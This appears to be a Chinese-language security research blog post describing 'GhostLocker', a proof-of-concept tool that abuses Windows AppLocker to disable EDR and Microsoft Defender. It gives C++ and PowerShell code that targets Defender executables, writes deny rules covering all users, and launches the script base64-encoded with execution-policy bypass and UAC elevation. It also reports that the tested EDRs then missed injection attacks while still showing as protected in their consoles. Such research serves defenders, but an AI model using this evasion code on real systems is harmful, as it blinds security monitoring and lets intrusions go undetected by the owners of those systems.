GhostLocker：基于 AppLocker 的 EDR 中和工具

介绍

在我关于 Fairy-Law 的文章中，我使用内核缓解措施来禁用端点检测与响应 (EDR) 解决方案，diversenok 指出 IFEO 排除项（映像文件执行选项）对第三方应用程序过于侵入。这引出了一个更好的方法：利用管理员通过 AppLocker 已经拥有的内在权力。

该概念受 diversenok 启发，他指出管理员可以合法地控制其系统上的任何软件。基于这一见解，我开发了一种使用 AppLocker 作为原生 Windows 控制机制的技术。这项研究探索了 AppLocker 用于 EDR 控制的技术实现，将其与 WDAC 进行比较，并展示了一个实用的概念验证工具。

---

AppLocker：应用程序白名单架构

AppLocker 随 Windows 7 引入，并在 Windows 8.1、10（企业版） 以及 Windows Server 2012/R2/2016+ 中得到增强。它是一个 应用程序白名单框架，允许管理员精确定义哪些可执行文件、脚本或安装程序可以针对特定用户或组执行。

内部架构（Windows 内部视角）

用户模式与内核组件：

AppIDSvc（应用程序标识服务）

• 在 LocalService 帐户下运行
• 监视 AppLocker 策略路径的注册表更改
• 将基于 XML 的规则定义转换为二进制 SDDL（安全描述符定义语言）
• 通过 DeviceIoControl 将策略更新通知给内核驱动程序

AppID.sys（内核驱动程序）

• 通过回调机制拦截进程创建事件
• 使用 SeSrpAccessCheck 执行规则评估
• 可选地监视 DLL 加载（默认出于性能原因禁用）

说明：
虽然 AppID.sys 在内核模式下执行规则评估，但 DLL 强制实施并非自主完成。
内核驱动程序本身不会主动监视 DLL 加载。相反，用户模式组件必须通过 IOCTL 显式查询驱动程序，以确定是否允许加载某个 DLL。
因此，AppLocker DLL 规则实际上是作为客户端保护机制运作的。

规则类型与实施

AppLocker 支持两类主要规则：

允许规则：显式允许定义的应用程序执行

拒绝规则：显式阻止定义的应用程序执行

• 拒绝规则始终优先于允许规则
• 可以包含针对特定条件的例外
• 支持用户和组级别定位

规则条件（AppID 属性）：

• 基于路径的规则：C:\Program Files\Security\*.exe
• 基于哈希的规则：SHA256 Authenticode 哈希验证
• 发布者规则：数字签名、版本、产品名称验证
• 文件属性规则：公司名称、产品版本等

注册表存储位置：

HKLM\Software\Policies\Microsoft\Windows\SrpV2     （XML 策略存储，持久化）
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe  （SDDL 二进制格式，活动实施）
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore（证书缓存）

服务与 SYSTEM 进程实施（常被忽略）

默认情况下，AppLocker 不对服务或 SYSTEM 进程实施规则。
没有图形用户界面选项可以启用此行为。

只能通过 XML 策略使用 RuleCollectionExtensions 启用对服务的实施。

需要以下策略部分才能对服务实施 AppLocker 规则：

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

如扩展名称所示，这些选项仅在 Windows 10+ 上受支持，在早期版本上不可用。 请参阅 Microsoft - AppLocker 规则集合扩展

实施流程：

1. Windows 在进程创建时通知 AppID 驱动程序
2. AppID.sys 评估应用程序属性
3. 根据 AppLocker 规则，它允许或阻止该进程
4. 如果被阻止，进程创建将被中止并返回 STATUS_ACCESS_DISABLED_BY_POLICY_OTHER

关键限制：

⚠️ AppLocker 不会终止正在运行的进程。

AppLocker 实施仅适用于新进程创建事件。已在运行的 EDR 进程会继续执行，直到系统重启。这是一个根本性的架构限制。

内核驱动程序遥测注意事项：

即使阻止了 EDR 用户态可执行文件，内核驱动程序（*.sys）仍保持活动并可运行。这些驱动程序会继续：

• 注册内核回调（进程、线程、映像加载、注册表）
• 收集遥测数据
• 监视系统事件

然而，大量测试表明，这种遥测在功能上变得无效。没有用户态分析引擎、关联系统和报告机制，原始遥测数据无法处理为可操作的检测。EDR 解决方案严重依赖用户态组件来完成：

• 事件关联和行为分析
• 机器学习推理
• 告警生成和响应编排
• 与管理控制台通信

---

GhostLocker：概念验证实现

工具概述

GhostLocker 是一个 C++ 实现，它自动化 AppLocker 策略部署以阻止 EDR 可执行文件。

技术实现分析

实现变体

GhostLocker 提供了两种实现变体：

main.cpp – 动态枚举版本

此版本枚举正在运行的进程，并使用原生 API（NtQuerySystemInformation）解析其完整映像路径。
然后使用解析出的绝对路径生成精确的 AppLocker 拒绝规则。

该工具使用 CreateToolhelp32Snapshot 配合 TH32CS_SNAPPROCESS 枚举所有正在运行的进程。它使用不区分大小写的匹配（_wcsicmp）将进程名称与预定义的目标列表进行比较。

为什么采用这种方法？

• 轻量且快速的枚举
• 无需提升权限即可读取进程列表
• 不区分大小写的匹配处理命名变体

1. 进程枚举（FindTargetsAndQueryPaths）

const wchar_t* targetNames[] = {
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
    L"EDR_Component_Name.exe",
};

2. 通过 NtQuerySystemInformation 解析路径

SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;

status = NtQuerySystemInformation(
    SystemProcessIdInformation,
    &spi,
    sizeof(spi),
    0
);

技术细节：

• 使用未文档化的 SystemProcessIdInformation (0x58) 信息类
• 返回 NT 设备路径格式：\Device\HarddiskVolume3\Windows\System32\...
• 需要转换为 Win32 路径格式以兼容 AppLocker

路径转换逻辑：

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }
    return ntPath;
}

限制： 硬编码了 HarddiskVolume3 假设。应改进为动态解析卷号。

3. PowerShell 策略生成

该工具嵌入了一个完整的 PowerShell 脚本，执行以下操作：

a) 验证目标路径

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

b) 生成动态拒绝规则

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf
    
    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + 
                          '" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

关键策略元素：

• UserOrGroupSid="S-1-1-0"：应用于所有人（所有用户）
• Action="Deny"：显式阻止规则
• EnforcementMode="Enabled"：对 EXE 规则启用实施
• 拒绝规则在回退允许规则之前插入（优先级）

c) 策略应用

Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null

4. Base64 编码与执行

void RunPowerShellInMemory()
{
    std::wstring script = BuildFullPowerShellScript();
    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);
    
    std::wstring encoded = Base64Encode(bytes, byteLen);
    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;
    
    ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}

技术原理：

• UTF-16LE 编码：PowerShell -EncodedCommand 期望 UTF-16LE
• Base64 编码：绕过命令行字符限制
• -ExecutionPolicy Bypass：忽略脚本执行策略
• runas 动词：触发 UAC 提升以获取管理员权限

main_improved.cpp – 静态通配符版本

在 diversenok 的澄清之后，很明显 AppLocker 路径规则支持通配符匹配，不需要完整的可执行文件路径。

这个改进版本移除了所有进程枚举和原生路径解析逻辑，而是依赖静态通配符规则，例如：*\MsMpEng.exe

---

要求

⚠️ 成功部署的前提条件：

• 必须从提升的（管理员）上下文中执行
• AppIDSvc 服务必须正在运行：sc start AppIDSvc
• 部署后需要系统重启才能完全生效
• 在枚举阶段目标 EDR 进程必须正在运行

---

研究结果：真实世界 EDR 测试

测试方法

对多个商业 EDR 解决方案进行了广泛的受控测试，以评估有效性。

测试环境：

• Windows 11 (25H2)
• 多个商业 EDR 产品（名称省略）
• 基线检测：简单的进程注入技术
• 测试前验证：确认 EDR 检测能力

关键发现

阻止后的检测能力

行为分析失败：

• 所有测试的 EDR 解决方案在 AppLocker 阻止后均未能生成告警
• 之前可检测的简单注入变得无法检测
• 未触发任何针对可疑活动的行为检测

管理控制台视角：

• 代理继续报告为“在线”和“受保护”
• 最后看到的时间戳正常更新
• 管理界面未显示任何受损迹象

内核驱动程序遥测分析

尽管内核驱动程序继续运行并收集遥测数据流，但缺少用户态处理组件导致收集的数据无效。

仍然正常工作的内容：

• 内核回调正常触发（进程、线程、映像加载、注册表等）
• 原始遥测数据收集持续进行
• 驱动程序间的通信可能正常

关键洞察：

现代 EDR 架构依赖于内核驱动程序和用户态分析引擎之间的紧密耦合。 打破这种耦合实际上会使 EDR 失明，尽管遥测收集仍在继续。

截图（枚举并应用 AppLocker 策略）：

截图（已停用的 WinDefend）：

版本 2 的截图

---

对比：WDAC 与 AppLocker

什么是 WDAC？

Windows Defender 应用程序控制 (WDAC) 在 Windows 10 中引入，代表了 Microsoft 的现代应用程序控制框架。 它对用户模式和内核模式的二进制文件实施策略。

WDAC 架构：

核心特性：

• 系统范围实施（所有用户，所有会话）
• 启动前实施
• 默认拒绝模型
• 代码完整性 (CI) 策略引擎
• 内核驱动程序签名实施

WDAC 策略存储：

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b    （活动策略，已签名）
C:\Windows\System32\CodeIntegrity\CIPolicies\     （多个策略）
EFI 系统分区（UEFI 实施）